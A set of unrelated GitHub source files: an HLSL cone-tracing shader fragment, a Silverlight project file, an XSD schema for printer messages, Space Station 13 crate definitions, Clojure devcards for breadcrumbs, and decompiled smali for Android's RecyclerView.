smoothness)); int numSamples = (int)(lerp(uint(ReflectionSteps) / uint(5), ReflectionSteps, smoothness)); for (int i = 0; i < numSamples; i++) { float fi = ((float)i) / numSamples; float coneSize = fi * coneSizeScalar; float coneDistance = (exp2(fi * coneSizeScalar) - 0.998) / exp2(coneSizeScalar); float3 voxelCheckCoord = voxelOrigin.xyz + adjustedKernel.xyz * (coneDistance * 0.12 * coneLength + 0.001); float4 sample = float4(0.0, 0.0, 0.0, 0.0); coneSize = pow(coneSize / 5.0, 2.0) * 5.0; int mipLevel = floor(coneSize); if (mipLevel == 0) { sample = tex3Dlod(SEGIVolumeLevel0, float4(voxelCheckCoord.xyz, coneSize)); sample = lerp(sample, tex3Dlod(SEGIVolumeLevel1, float4(voxelCheckCoord.xyz, coneSize + 1.0)), frac(coneSize)); } else if (mipLevel == 1) { sample = tex3Dlod(SEGIVolumeLevel1, float4(voxelCheckCoord.xyz, coneSize)); sample = lerp(sample, tex3Dlod(SEGIVolumeLevel2, float4(voxelCheckCoord.xyz, coneSize + 1.0)), frac(coneSize)); } else if (mipLevel == 2) { sample = tex3Dlod(SEGIVolumeLevel2, float4(voxelCheckCoord.xyz, coneSize)); sample = lerp(sample, tex3Dlod(SEGIVolumeLevel3, float4(voxelCheckCoord.xyz, coneSize + 1.0)), frac(coneSize)); } else if (mipLevel == 3) { sample = tex3Dlod(SEGIVolumeLevel3, float4(voxelCheckCoord.xyz, coneSize)); sample = lerp(sample, tex3Dlod(SEGIVolumeLevel4, float4(voxelCheckCoord.xyz, coneSize + 1.0)), frac(coneSize)); } else if (mipLevel == 4) { sample = tex3Dlod(SEGIVolumeLevel4, float4(voxelCheckCoord.xyz, coneSize)); sample = lerp(sample, tex3Dlod(SEGIVolumeLevel5, float4(voxelCheckCoord.xyz, coneSize + 1.0)), frac(coneSize)); } else if (mipLevel == 5) sample = tex3Dlod(SEGIVolumeLevel5, float4(voxelCheckCoord.xyz, coneSize)); else sample = float4(0, 0, 0, 0); float occlusion = skyVisibility; float falloffFix = fi * 6.0 + 0.6; gi.rgb += sample.rgb * (coneSize * 5.0 + 1.0) * occlusion * 0.5; sample.a *= lerp(saturate(fi / 0.2), 1.0, NearOcclusionStrength); skyVisibility *= pow(saturate(1.0 - sample.a * 0.5), (lerp(4.0, 1.0, smoothness) + coneSize * 0.5) * ReflectionOcclusionPower); } skyVisibility *= saturate(dot(worldNormal, kernel) * 0.7 + 0.3); skyVisibility *= lerp(saturate(dot(kernel, float3(0.0, 1.0, 0.0)) * 10.0), 1.0, SEGISphericalSkylight); gi *= saturate(dot(worldNormal, kernel) * 10.0); return float4(gi.rgb * 4.0, skyVisibility); } float4 VisualConeTrace(float3 voxelOrigin, float3 kernel) { float skyVisibility = 1.0; float3 gi = float3(0, 0, 0); float coneLength = 6.0; float coneSizeScalar = 0.25 * coneLength; for (int i = 0; i < 423; i++) { float fi = ((float)i) / 423; float coneSize = fi * coneSizeScalar; float3 voxelCheckCoord = voxelOrigin.xyz + kernel.xyz * (0.12 * coneLength * fi * fi + 0.005); float4 sample = float4(0.0, 0.0, 0.0, 0.0); sample = tex3Dlod(SEGIVolumeLevel0, float4(voxelCheckCoord.xyz, coneSize)); float occlusion = skyVisibility; float falloffFix = fi * 6.0 + 0.6; gi.rgb += sample.rgb * (coneSize * 5.0 + 1.0) * occlusion * 0.5; skyVisibility *= saturate(1.0 - sample.a); } return float4(gi.rgb, skyVisibility); }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <PropertyGroup> <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration> <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform> <ProductVersion>8.0.50727</ProductVersion> <SchemaVersion>2.0</SchemaVersion> <ProjectGuid>{4AC09AFC-9E15-49BA-9200-C20EBD180927}</ProjectGuid> <ProjectTypeGuids>{A1591282-1198-4647-A2B1-27E5FF5F6F3B};{fae04ec0-301f-11d3-bf4b-00c04f79efbc}</ProjectTypeGuids> <OutputType>Library</OutputType> <AppDesignerFolder>Properties</AppDesignerFolder> <RootNamespace>SilverlightApplication1</RootNamespace> <AssemblyName>SilverlightApplication1</AssemblyName> <TargetFrameworkIdentifier>Silverlight</TargetFrameworkIdentifier> <TargetFrameworkVersion>v5.0</TargetFrameworkVersion> <SilverlightVersion>$(TargetFrameworkVersion)</SilverlightVersion> <SilverlightApplication>true</SilverlightApplication> <SupportedCultures> </SupportedCultures> <XapOutputs>true</XapOutputs> <GenerateSilverlightManifest>true</GenerateSilverlightManifest> <XapFilename>SilverlightApplication1.xap</XapFilename> <SilverlightManifestTemplate>Properties\AppManifest.xml</SilverlightManifestTemplate> <SilverlightAppEntry>SilverlightApplication1.App</SilverlightAppEntry> <TestPageFileName>SilverlightApplication1TestPage.html</TestPageFileName> <CreateTestPage>true</CreateTestPage> <ValidateXaml>true</ValidateXaml> <EnableOutOfBrowser>false</EnableOutOfBrowser> <OutOfBrowserSettingsFile>Properties\OutOfBrowserSettings.xml</OutOfBrowserSettingsFile> <UsePlatformExtensions>false</UsePlatformExtensions> <ThrowErrorsInValidation>true</ThrowErrorsInValidation> <LinkedServerProject> </LinkedServerProject> </PropertyGroup> <!-- This property group is only here to support building this project using the MSBuild 3.5 toolset. In order to work correctly with this older toolset, it needs to set the TargetFrameworkVersion to v3.5 --> <PropertyGroup Condition="'$(MSBuildToolsVersion)' == '3.5'"> <TargetFrameworkVersion>v3.5</TargetFrameworkVersion> </PropertyGroup> <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' "> <DebugSymbols>true</DebugSymbols> <DebugType>full</DebugType> <Optimize>false</Optimize> <OutputPath>Bin\Debug</OutputPath> <DefineConstants>DEBUG;TRACE;SILVERLIGHT</DefineConstants> <NoStdLib>true</NoStdLib> <NoConfig>true</NoConfig> <ErrorReport>prompt</ErrorReport> <WarningLevel>4</WarningLevel> </PropertyGroup> <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' "> <DebugType>pdbonly</DebugType> <Optimize>true</Optimize> <OutputPath>Bin\Release</OutputPath> <DefineConstants>TRACE;SILVERLIGHT</DefineConstants> <NoStdLib>true</NoStdLib> <NoConfig>true</NoConfig> <ErrorReport>prompt</ErrorReport> <WarningLevel>4</WarningLevel> </PropertyGroup> <ItemGroup> <Reference Include="mscorlib" /> <Reference Include="System.Windows" /> <Reference Include="system" /> <Reference Include="System.Core" /> <Reference Include="System.Net" /> <Reference Include="System.Windows.Data" /> <Reference Include="System.Xml" /> <Reference Include="System.Windows.Browser" /> <Reference Include="Telerik.Windows.Controls"> <HintPath>$(TELERIKSLDIR)\Binaries\Silverlight\Telerik.Windows.Controls.dll</HintPath> </Reference> <Reference Include="Telerik.Windows.Data"> <HintPath>$(TELERIKSLDIR)\Binaries\Silverlight\Telerik.Windows.Data.dll</HintPath> </Reference> <Reference Include="Telerik.Windows.Controls.Input"> <HintPath>$(TELERIKSLDIR)\Binaries\Silverlight\Telerik.Windows.Controls.Input.dll</HintPath> </Reference> <Reference Include="Telerik.Windows.Controls.GridView"> <HintPath>$(TELERIKSLDIR)\Binaries\Silverlight\Telerik.Windows.Controls.GridView.dll</HintPath> </Reference> </ItemGroup> <ItemGroup> <Compile Include="App_SL.xaml.cs"> <DependentUpon>App_SL.xaml</DependentUpon> </Compile> <Compile Include="Club.cs" /> <Compile Include="MainPage.xaml.cs"> <DependentUpon>MainPage.xaml</DependentUpon> </Compile> <Compile Include="MyViewModel.cs" /> <Compile Include="Properties\AssemblyInfo.cs" /> </ItemGroup> <ItemGroup> <ApplicationDefinition Include="App_SL.xaml"> <SubType>Designer</SubType> <Generator>MSBuild:Compile</Generator> </ApplicationDefinition> <Page Include="MainPage.xaml"> <SubType>Designer</SubType> <Generator>MSBuild:Compile</Generator> </Page> </ItemGroup> <ItemGroup> <None Include="Properties\AppManifest.xml" /> </ItemGroup> <ItemGroup> <Content Include="Readme.md" /> </ItemGroup> <Import Project="$(MSBuildExtensionsPath32)\Microsoft\Silverlight\$(SilverlightVersion)\Microsoft.Silverlight.CSharp.targets" /> <!-- To modify your build process, add your task inside one of the targets below and uncomment it. Other similar extension points exist, see Microsoft.Common.targets. <Target Name="BeforeBuild"> </Target> <Target Name="AfterBuild"> </Target> --> <ProjectExtensions> <VisualStudio> <FlavorProperties GUID="{A1591282-1198-4647-A2B1-27E5FF5F6F3B}"> <SilverlightProjectProperties /> </FlavorProperties> </VisualStudio> </ProjectExtensions> </Project>
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8" standalone="no"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:jaxb="http://java.sun.com/xml/ns/jaxb" jaxb:version="2.0"> <xsd:attribute name="AD_Client_Value" type="xsd:string"> <xsd:annotation> <xsd:appinfo> <jaxb:property name="AD_Client_ValueAttr" /> </xsd:appinfo> </xsd:annotation> </xsd:attribute> <xsd:attribute name="SequenceNo" type="xsd:integer"> <xsd:annotation> <xsd:appinfo> <jaxb:property name="SequenceNoAttr" /> </xsd:appinfo> </xsd:annotation> </xsd:attribute> <xsd:attribute name="TrxName" type="xsd:string"> <xsd:annotation> <xsd:appinfo> <jaxb:property name="TrxNameAttr" /> </xsd:appinfo> </xsd:annotation> </xsd:attribute> <xsd:attribute name="AD_Session_ID" type="xsd:integer"> <xsd:annotation> <xsd:appinfo> <jaxb:property name="AD_Session_IDAttr" /> </xsd:appinfo> </xsd:annotation> </xsd:attribute> <xsd:simpleType name="ReplicationEventEnum"> <xsd:restriction base="xsd:string"> <xsd:enumeration value="3"> <xsd:annotation> <xsd:appinfo> <jaxb:typesafeEnumMember name="BeforeDelete" /> </xsd:appinfo> </xsd:annotation> </xsd:enumeration> <xsd:enumeration value="5"> <xsd:annotation> <xsd:appinfo> <jaxb:typesafeEnumMember name="AfterChange" /> </xsd:appinfo> </xsd:annotation> </xsd:enumeration> <xsd:enumeration value="9"> <xsd:annotation> <xsd:appinfo> <jaxb:typesafeEnumMember name="BeforeDeleteReplication" /> </xsd:appinfo> </xsd:annotation> </xsd:enumeration> </xsd:restriction> </xsd:simpleType> <xsd:attribute name="ReplicationEvent" type="ReplicationEventEnum"> <xsd:annotation> <xsd:appinfo> <jaxb:property name="ReplicationEventAttr" /> </xsd:appinfo> </xsd:annotation> </xsd:attribute> <xsd:simpleType name="ReplicationModeEnum"> <xsd:restriction base="xsd:string"> <xsd:enumeration value="1"> <xsd:annotation> <xsd:appinfo> <jaxb:typesafeEnumMember name="Document" /> </xsd:appinfo> </xsd:annotation> </xsd:enumeration> <xsd:enumeration value="0"> <xsd:annotation> <xsd:appinfo> <jaxb:typesafeEnumMember name="Table" /> </xsd:appinfo> </xsd:annotation> </xsd:enumeration> </xsd:restriction> </xsd:simpleType> <xsd:attribute name="ReplicationMode" type="ReplicationModeEnum"> <xsd:annotation> <xsd:appinfo> <jaxb:property name="ReplicationModeAttr" /> </xsd:appinfo> </xsd:annotation> </xsd:attribute> <xsd:simpleType name="ReplicationTypeEnum"> <xsd:restriction base="xsd:string"> <xsd:enumeration value="L"> <xsd:annotation> <xsd:appinfo> <jaxb:typesafeEnumMember name="Local" /> </xsd:appinfo> </xsd:annotation> </xsd:enumeration> <xsd:enumeration value="M"> <xsd:annotation> <xsd:appinfo> <jaxb:typesafeEnumMember name="Merge" /> </xsd:appinfo> </xsd:annotation> </xsd:enumeration> <xsd:enumeration value="R"> <xsd:annotation> <xsd:appinfo> <jaxb:typesafeEnumMember name="Reference" /> </xsd:appinfo> </xsd:annotation> </xsd:enumeration> </xsd:restriction> </xsd:simpleType> <xsd:attribute name="ReplicationType" type="ReplicationTypeEnum"> <xsd:annotation> <xsd:appinfo> <jaxb:property name="ReplicationTypeAttr" /> </xsd:appinfo> </xsd:annotation> </xsd:attribute> <xsd:element name="PRT_AD_PrinterHW" type="PRT_AD_PrinterHWType" /> <xsd:element name="PRT_AD_PrinterHW_MediaTray" type="PRT_AD_PrinterHW_MediaTrayType" /> <xsd:element name="PRT_AD_PrinterHW_MediaSize" type="PRT_AD_PrinterHW_MediaSizeType" /> <xsd:element name="PRT_PrinterHW_Calibration" type="PRT_PrinterHW_CalibrationType" /> <xsd:element name="PRT_C_Print_PackageInfo" type="PRT_C_Print_PackageInfoType" /> <xsd:element name="PRT_C_Print_Package" type="PRT_C_Print_PackageType" /> <xsd:element name="PRT_C_PrintPackageData" type="PRT_C_PrintPackageDataType" /> <xsd:element name="PRT_C_Print_Package_Lookup_TransactionID" type="PRT_C_Print_Package_Lookup_TransactionIDType" /> <xsd:simpleType name="C_Print_Job_Instructions_StatusEnum"> <xsd:restriction base="xsd:string"> <xsd:enumeration value="D"> <xsd:annotation> <xsd:appinfo> <jaxb:typesafeEnumMember name="Done" /> </xsd:appinfo> </xsd:annotation> </xsd:enumeration> <xsd:enumeration value="P"> <xsd:annotation> <xsd:appinfo> <jaxb:typesafeEnumMember name="Pending" /> </xsd:appinfo> </xsd:annotation> </xsd:enumeration> <xsd:enumeration value="E"> <xsd:annotation> <xsd:appinfo> <jaxb:typesafeEnumMember name="Error" /> </xsd:appinfo> </xsd:annotation> </xsd:enumeration> <xsd:enumeration value="S"> <xsd:annotation> <xsd:appinfo> <jaxb:typesafeEnumMember name="Send" /> </xsd:appinfo> </xsd:annotation> </xsd:enumeration> </xsd:restriction> </xsd:simpleType> <xsd:element name="PRT_C_Print_Job_Instructions_Confirm" type="PRT_C_Print_Job_Instructions_ConfirmType" /> <xsd:complexType name="PRT_AD_PrinterHW_MediaSizeType"> <xsd:sequence> <xsd:element maxOccurs="1" minOccurs="1" name="Name" type="xsd:string" /> </xsd:sequence> </xsd:complexType> <xsd:complexType name="PRT_AD_PrinterHW_MediaTrayType"> <xsd:sequence> <xsd:element maxOccurs="1" minOccurs="0" name="Name" type="xsd:string" /> <xsd:element maxOccurs="1" minOccurs="0" name="TrayNumber" type="xsd:integer" /> </xsd:sequence> </xsd:complexType> <xsd:complexType name="PRT_AD_PrinterHWType"> <xsd:sequence> <xsd:element maxOccurs="1" minOccurs="1" name="Name" type="xsd:string" /> <xsd:element maxOccurs="unbounded" minOccurs="0" name="PRT_AD_PrinterHW_MediaSize" type="PRT_AD_PrinterHW_MediaSizeType" /> <xsd:element maxOccurs="unbounded" minOccurs="0" name="PRT_AD_PrinterHW_MediaTray" type="PRT_AD_PrinterHW_MediaTrayType" /> <xsd:element maxOccurs="1" minOccurs="0" name="HostKey" type="xsd:string" /> </xsd:sequence> <xsd:attribute ref="AD_Client_Value" /> <xsd:attribute ref="ReplicationEvent" /> <xsd:attribute ref="ReplicationMode" /> <xsd:attribute ref="ReplicationType" /> <xsd:attribute fixed="*" name="Version" type="xsd:string"> <xsd:annotation> <xsd:appinfo> <jaxb:property name="VersionAttr" /> </xsd:appinfo> </xsd:annotation> </xsd:attribute> <xsd:attribute ref="SequenceNo" /> <xsd:attribute ref="TrxName" /> <xsd:attribute ref="AD_Session_ID" /> </xsd:complexType> <xsd:complexType name="PRT_PrinterHW_CalibrationType"> <xsd:sequence> <xsd:element maxOccurs="1" minOccurs="0" name="AD_PrinterHW_ID" type="PRT_AD_PrinterHWType" /> <xsd:element maxOccurs="1" minOccurs="0" name="AD_PrinterHW_MediaSize_ID" type="PRT_AD_PrinterHW_MediaSizeType" /> <xsd:element maxOccurs="1" minOccurs="0" name="AD_PrinterHW_MediaTray_ID" type="PRT_AD_PrinterHW_MediaTrayType" /> <xsd:element maxOccurs="1" minOccurs="1" name="CalX" type="xsd:integer" /> <xsd:element maxOccurs="1" minOccurs="1" name="CalY" type="xsd:integer" /> </xsd:sequence> <xsd:attribute ref="AD_Client_Value" /> <xsd:attribute ref="ReplicationEvent" /> <xsd:attribute ref="ReplicationMode" /> <xsd:attribute ref="ReplicationType" /> <xsd:attribute fixed="*" name="Version" type="xsd:string"> <xsd:annotation> <xsd:appinfo> <jaxb:property name="VersionAttr" /> </xsd:appinfo> </xsd:annotation> </xsd:attribute> <xsd:attribute ref="SequenceNo" /> <xsd:attribute ref="TrxName" /> <xsd:attribute ref="AD_Session_ID" /> </xsd:complexType> <xsd:complexType name="PRT_C_Print_PackageInfoType"> <xsd:sequence> <xsd:element maxOccurs="1" minOccurs="0" name="Name" type="xsd:string" /> <xsd:element maxOccurs="1" minOccurs="1" name="PageFrom" type="xsd:integer" /> <xsd:element maxOccurs="1" minOccurs="1" name="PageTo" type="xsd:integer" /> <xsd:element maxOccurs="1" minOccurs="0" name="PrintServiceName" type="xsd:string" /> <xsd:element maxOccurs="1" minOccurs="0" name="TrayName" type="xsd:string" /> <xsd:element maxOccurs="1" minOccurs="0" name="CalX" type="xsd:integer" /> <xsd:element maxOccurs="1" minOccurs="0" name="CalY" type="xsd:integer" /> <xsd:element maxOccurs="1" minOccurs="1" name="TrayNumber" type="xsd:integer" /> </xsd:sequence> <xsd:attribute ref="AD_Client_Value" /> <xsd:attribute ref="ReplicationEvent" /> <xsd:attribute ref="ReplicationMode" /> <xsd:attribute ref="ReplicationType" /> <xsd:attribute fixed="*" name="Version" type="xsd:string"> <xsd:annotation> <xsd:appinfo> <jaxb:property name="VersionAttr" /> </xsd:appinfo> </xsd:annotation> </xsd:attribute> <xsd:attribute ref="SequenceNo" /> <xsd:attribute ref="TrxName" /> <xsd:attribute ref="AD_Session_ID" /> </xsd:complexType> <xsd:complexType name="PRT_C_Print_PackageType"> <xsd:sequence> <xsd:element maxOccurs="1" minOccurs="1" name="BinaryFormat" type="xsd:string" /> <xsd:element maxOccurs="1" minOccurs="1" name="C_Print_Package_ID" type="xsd:integer" /> <xsd:element maxOccurs="1" minOccurs="1" name="PageCount" type="xsd:integer" /> <xsd:element maxOccurs="1" minOccurs="1" name="TransactionID" type="xsd:string" /> <xsd:element maxOccurs="1" minOccurs="0" name="PackageInfoCount" type="xsd:integer" /> <xsd:element maxOccurs="unbounded" minOccurs="0" name="PRT_C_Print_PackageInfo" type="PRT_C_Print_PackageInfoType" /> <xsd:element maxOccurs="1" minOccurs="0" name="C_Print_Job_Instructions_ID" type="xsd:integer" /> <xsd:element maxOccurs="1" minOccurs="1" name="Copies" type="xsd:integer" /> </xsd:sequence> <xsd:attribute ref="AD_Client_Value" /> <xsd:attribute ref="ReplicationEvent" /> <xsd:attribute ref="ReplicationMode" /> <xsd:attribute ref="ReplicationType" /> <xsd:attribute fixed="*" name="Version" type="xsd:string"> <xsd:annotation> <xsd:appinfo> <jaxb:property name="VersionAttr" /> </xsd:appinfo> </xsd:annotation> </xsd:attribute> <xsd:attribute ref="SequenceNo" /> <xsd:attribute ref="TrxName" /> <xsd:attribute ref="AD_Session_ID" /> </xsd:complexType> <xsd:complexType name="PRT_C_Print_Package_Lookup_TransactionIDType"> <xsd:sequence> <xsd:element maxOccurs="1" minOccurs="1" name="TransactionID" type="xsd:string" /> </xsd:sequence> </xsd:complexType> <xsd:complexType name="PRT_C_PrintPackageDataType"> <xsd:sequence> <xsd:element maxOccurs="1" minOccurs="0" name="C_Print_Package_ID" type="PRT_C_Print_Package_Lookup_TransactionIDType" /> <xsd:element maxOccurs="1" minOccurs="1" name="PrintData" type="xsd:base64Binary" /> </xsd:sequence> <xsd:attribute ref="AD_Client_Value" /> <xsd:attribute ref="ReplicationEvent" /> <xsd:attribute ref="ReplicationMode" /> <xsd:attribute ref="ReplicationType" /> <xsd:attribute fixed="*" name="Version" type="xsd:string"> <xsd:annotation> <xsd:appinfo> <jaxb:property name="VersionAttr" /> </xsd:appinfo> </xsd:annotation> </xsd:attribute> <xsd:attribute ref="SequenceNo" /> <xsd:attribute ref="TrxName" /> <xsd:attribute ref="AD_Session_ID" /> </xsd:complexType> <xsd:complexType name="PRT_C_Print_Job_Instructions_ConfirmType"> <xsd:sequence> <xsd:element maxOccurs="1" minOccurs="1" name="C_Print_Job_Instructions_ID" type="xsd:integer" /> <xsd:element maxOccurs="1" minOccurs="0" name="ErrorMsg" type="xsd:string" /> <xsd:element maxOccurs="1" minOccurs="1" name="Status" type="C_Print_Job_Instructions_StatusEnum" /> </xsd:sequence> <xsd:attribute ref="AD_Client_Value" /> <xsd:attribute ref="ReplicationEvent" /> <xsd:attribute ref="ReplicationMode" /> <xsd:attribute ref="ReplicationType" /> <xsd:attribute fixed="*" name="Version" type="xsd:string"> <xsd:annotation> <xsd:appinfo> <jaxb:property name="VersionAttr" /> </xsd:appinfo> </xsd:annotation> </xsd:attribute> <xsd:attribute ref="SequenceNo" /> <xsd:attribute ref="TrxName" /> <xsd:attribute ref="AD_Session_ID" /> </xsd:complexType> <xsd:complexType name="PRT_LoginRequestType"> <xsd:sequence> <xsd:element maxOccurs="1" minOccurs="0" name="AD_Session_ID" type="xsd:integer" /> <xsd:element maxOccurs="1" minOccurs="0" name="Password" type="xsd:string" /> <xsd:element maxOccurs="1" minOccurs="0" name="UserName" type="xsd:string" /> <xsd:element maxOccurs="1" minOccurs="0" name="HostKey" type="xsd:string" /> </xsd:sequence> <xsd:attribute ref="AD_Client_Value" /> <xsd:attribute ref="ReplicationEvent" /> <xsd:attribute ref="ReplicationMode" /> <xsd:attribute ref="ReplicationType" /> <xsd:attribute fixed="*" name="Version" type="xsd:string"> <xsd:annotation> <xsd:appinfo> <jaxb:property name="VersionAttr" /> </xsd:appinfo> </xsd:annotation> </xsd:attribute> <xsd:attribute ref="SequenceNo" /> <xsd:attribute ref="TrxName" /> <xsd:attribute ref="AD_Session_ID" /> </xsd:complexType> <xsd:element name="PRT_LoginRequest" type="PRT_LoginRequestType" /> </xsd:schema>
{ "pile_set_name": "Github" }
/obj/structure/closet/crate/med_crate/trauma name = "\improper Trauma crate" desc = "A crate with trauma equipment." closet_appearance = /decl/closet_appearance/crate/medical/trauma /obj/structure/closet/crate/med_crate/trauma/WillContain() return list( /obj/item/stack/medical/splint = 2, /obj/item/stack/medical/advanced/bruise_pack = 10, /obj/item/weapon/reagent_containers/pill/sugariron = 6, /obj/item/weapon/storage/pill_bottle/paracetamol = 2, /obj/item/weapon/storage/pill_bottle/inaprovaline ) /obj/structure/closet/crate/med_crate/burn name = "\improper Burn crate" desc = "A crate with burn equipment." closet_appearance = /decl/closet_appearance/crate/medical /obj/structure/closet/crate/med_crate/burn/WillContain() return list( /obj/item/weapon/defibrillator/loaded, /obj/item/stack/medical/advanced/ointment = 10, /obj/item/weapon/storage/pill_bottle/kelotane, /obj/item/weapon/storage/pill_bottle/tramadol = 2, /obj/item/weapon/storage/pill_bottle/spaceacillin ) /obj/structure/closet/crate/med_crate/oxyloss name = "\improper Low oxygen crate" desc = "A crate with low oxygen equipment." closet_appearance = /decl/closet_appearance/crate/medical/oxygen /obj/structure/closet/crate/med_crate/oxyloss/WillContain() return list( /obj/item/device/scanner/health = 2, /obj/item/weapon/storage/pill_bottle/dexalin = 2, /obj/item/weapon/storage/pill_bottle/inaprovaline ) /obj/structure/closet/crate/med_crate/toxin name = "\improper Toxin crate" desc = "A crate with toxin equipment." closet_appearance = /decl/closet_appearance/crate/medical/toxins /obj/structure/closet/crate/med_crate/toxin/WillContain() return list( /obj/item/weapon/storage/firstaid/surgery, /obj/item/weapon/storage/pill_bottle/dylovene = 2, /obj/item/weapon/reagent_containers/pill/hyronalin = 12 )
{ "pile_set_name": "Github" }
(ns athens.devcards.breadcrumbs (:require [athens.views.breadcrumbs :refer [breadcrumbs-list breadcrumb]] [devcards.core :refer-macros [defcard-rg]])) (defcard-rg Normal-Breadcrumb [breadcrumbs-list {} [breadcrumb {:key 0} "Athens"] [breadcrumb {:key 1} "Components"] [breadcrumb {:key 2} "Breadcrumbs"]]) (defcard-rg One-Item [breadcrumbs-list {} [breadcrumb {:key 2} "Athens"]]) (defcard-rg Breadcrumb-with-many-items [breadcrumbs-list {} [breadcrumb {:key "a"} "Lorem"] [breadcrumb {:key "b"} "Ipsum"] [breadcrumb {:key "c"} "Laudantium"] [breadcrumb {:key "d"} "Accusamus"] [breadcrumb {:key "e"} "Reprehenderit"] [breadcrumb {:key "f"} "Aliquam"] [breadcrumb {:key "g"} "Corrupti"] [breadcrumb {:key "h"} "Omnis"] [breadcrumb {:key "i"} "Quis"] [breadcrumb {:key "a"} "Lorem"] [breadcrumb {:key "b"} "Ipsum"] [breadcrumb {:key "c"} "Laudantium"] [breadcrumb {:key "d"} "Accusamus"] [breadcrumb {:key "e"} "Reprehenderit"] [breadcrumb {:key "f"} "Aliquam"] [breadcrumb {:key "g"} "Corrupti"] [breadcrumb {:key "h"} "Omnis"] [breadcrumb {:key "i"} "Quis"] [breadcrumb {:key "a"} "Lorem"] [breadcrumb {:key "b"} "Ipsum"] [breadcrumb {:key "c"} "Laudantium"] [breadcrumb {:key "d"} "Accusamus"] [breadcrumb {:key "e"} "Reprehenderit"] [breadcrumb {:key "f"} "Aliquam"] [breadcrumb {:key "g"} "Corrupti"] [breadcrumb {:key "h"} "Omnis"] [breadcrumb {:key "i"} "Quis"] [breadcrumb {:key "a"} "Lorem"] [breadcrumb {:key "b"} "Ipsum"] [breadcrumb {:key "c"} "Laudantium"] [breadcrumb {:key "d"} "Accusamus"] [breadcrumb {:key "e"} "Reprehenderit"] [breadcrumb {:key "f"} "Aliquam"] [breadcrumb {:key "g"} "Corrupti"] [breadcrumb {:key "h"} "Omnis"] [breadcrumb {:key "i"} "Quis"] [breadcrumb {:key "j"} "Necessitatibus"]]) (defcard-rg Breadcrumb-with-long-items [breadcrumbs-list {} [breadcrumb {:key 0} "Exercitationem qui dicta officia aut alias eum asperiores voluptates exercitationem"] [breadcrumb {:key 1} "Sapiente ad quia sunt libero"] [breadcrumb {:key 2} "Accusantium veritatis placeat quaerat unde odio officia"]]) (defcard-rg Breadcrumb-with-one-long-item-at-start [breadcrumbs-list {} [breadcrumb {:key 0} "Voluptates exercitationem dicta officia aut alias eum asperiores voluptates exercitationem"] [breadcrumb {:key 2} "Libero"] [breadcrumb {:key 3} "Unde"]]) (defcard-rg Breadcrumb-with-one-long-item-at-end [breadcrumbs-list {} [breadcrumb {:key 0} "Unde"] [breadcrumb {:key 1} "Libero"] [breadcrumb {:key 2} "Exercitationem qui dicta officia aut alias eum asperiores voluptates exercitationem dicta officia aut alias eum asperiores voluptates exercitationem"]])
{ "pile_set_name": "Github" }
.class public final Landroid/support/v7/widget/RecyclerView$Recycler; .super Ljava/lang/Object; # static fields .field private static final DEFAULT_CACHE_SIZE:I = 0x2 # instance fields .field final mAttachedScrap:Ljava/util/ArrayList; .annotation system Ldalvik/annotation/Signature; value = { "Ljava/util/ArrayList", "<", "Landroid/support/v7/widget/RecyclerView$ViewHolder;", ">;" } .end annotation .end field .field final mCachedViews:Ljava/util/ArrayList; .annotation system Ldalvik/annotation/Signature; value = { "Ljava/util/ArrayList", "<", "Landroid/support/v7/widget/RecyclerView$ViewHolder;", ">;" } .end annotation .end field .field private mChangedScrap:Ljava/util/ArrayList; .annotation system Ldalvik/annotation/Signature; value = { "Ljava/util/ArrayList", "<", "Landroid/support/v7/widget/RecyclerView$ViewHolder;", ">;" } .end annotation .end field .field private mRecyclerPool:Landroid/support/v7/widget/RecyclerView$RecycledViewPool; .field private final mUnmodifiableAttachedScrap:Ljava/util/List; .annotation system Ldalvik/annotation/Signature; value = { "Ljava/util/List", "<", "Landroid/support/v7/widget/RecyclerView$ViewHolder;", ">;" } .end annotation .end field .field private mViewCacheExtension:Landroid/support/v7/widget/RecyclerView$ViewCacheExtension; .field private mViewCacheMax:I .field final synthetic this$0:Landroid/support/v7/widget/RecyclerView; # direct methods .method public constructor <init>(Landroid/support/v7/widget/RecyclerView;)V .locals 1 iput-object p1, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; invoke-direct {p0}, Ljava/lang/Object;-><init>()V new-instance v0, Ljava/util/ArrayList; invoke-direct {v0}, Ljava/util/ArrayList;-><init>()V iput-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mAttachedScrap:Ljava/util/ArrayList; const/4 v0, 0x0 iput-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mChangedScrap:Ljava/util/ArrayList; new-instance v0, Ljava/util/ArrayList; invoke-direct {v0}, Ljava/util/ArrayList;-><init>()V iput-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mCachedViews:Ljava/util/ArrayList; iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mAttachedScrap:Ljava/util/ArrayList; invoke-static {v0}, Ljava/util/Collections;->unmodifiableList(Ljava/util/List;)Ljava/util/List; move-result-object v0 iput-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mUnmodifiableAttachedScrap:Ljava/util/List; const/4 v0, 0x2 iput v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mViewCacheMax:I return-void .end method .method static synthetic access$2700(Landroid/support/v7/widget/RecyclerView$Recycler;)Ljava/util/ArrayList; .locals 1 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mChangedScrap:Ljava/util/ArrayList; return-object v0 .end method .method private attachAccessibilityDelegate(Landroid/view/View;)V .locals 1 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView;->isAccessibilityEnabled()Z move-result v0 if-eqz v0, :cond_1 invoke-static {p1}, Landroid/support/v4/view/ViewCompat;->getImportantForAccessibility(Landroid/view/View;)I move-result v0 if-nez v0, :cond_0 const/4 v0, 0x1 invoke-static {p1, v0}, Landroid/support/v4/view/ViewCompat;->setImportantForAccessibility(Landroid/view/View;I)V 